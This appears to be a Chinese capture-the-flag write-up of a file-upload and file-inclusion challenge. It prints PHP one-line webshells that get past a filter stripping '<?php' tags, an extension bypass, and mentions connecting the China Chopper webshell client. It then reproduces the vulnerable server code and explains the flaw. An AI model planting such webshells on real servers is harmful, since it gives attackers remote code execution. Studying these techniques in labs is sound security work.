有一个文件上传url
image.png
经过测试发现上传之后后台会进行二次处理,统一处理成xxx.jpg,并返回路径。
测试一下文件能不能访问,直接访问返回图片,用文件包含访问把图片当作php文件解析,因此我们上传时直接上传图片格式即可。
但是还是不妨测试一下发现.php;.jpg可以绕过过滤,不过没有什么意义。
image.png image.png
第一次我用的小马是
<?=eval($_POST['abc']);>
发现被过滤了
我们尝试别的语句
<script language=php>echo'nihao';eval($_POST['abc'])</script>
<?=eval($_POST['shell']);>
发现可以执行成功
最后拿菜到连上shell即可
别的姿势
可以直接在一句话里执行命令
<script language=php>system("ls")</script>
由于我们连上了菜刀,我们可以把源码dump下来,仔细分析一下原理,源码如下:
index.php
<!-- upload.php -->
<?php
if(!isset($_GET['file']))
{
header('Location: ./index.php?file=hello.php');//重定向
exit();
}
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)//限制不能用php://input等方法读取源码
{
echo "<h1>NAIVE!!!</h1>";
}
else
{
include($file);
}
}
?>
upload.php
<html>
<head>
<meta charset="utf-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>UPLOAD</title>
</head>
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
请上传jpg gif png 格式的文件 文件大小不能超过100KiB<br>
<?php
//error_reporting(0);
if(!empty($_FILES["file"]))
{
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
$filename = date('Ymdhis').rand(1000, 9999).'.'.$extension;
if(move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)){
$url="upload/".$filename;
$content = file_get_contents($url);
$content = preg_replace('/<\?php|\?>/i', '_', $content);//过滤<? php ?>
file_put_contents('upload/'.$filename, $content);
echo "file upload successful!Save in: " . "upload/" . $filename;
}else{
echo "upload failed!";
}
}
else
{
echo "upload failed! allow only jpg,png,gif,jpep";
}
}
?>
参考文章:
https://blog.csdn.net/zazazrt/article/details/87574205★★★★
https://blog.csdn.net/weixin_43571641/article/details/84667126
https://xz.aliyun.com/t/2657
网友评论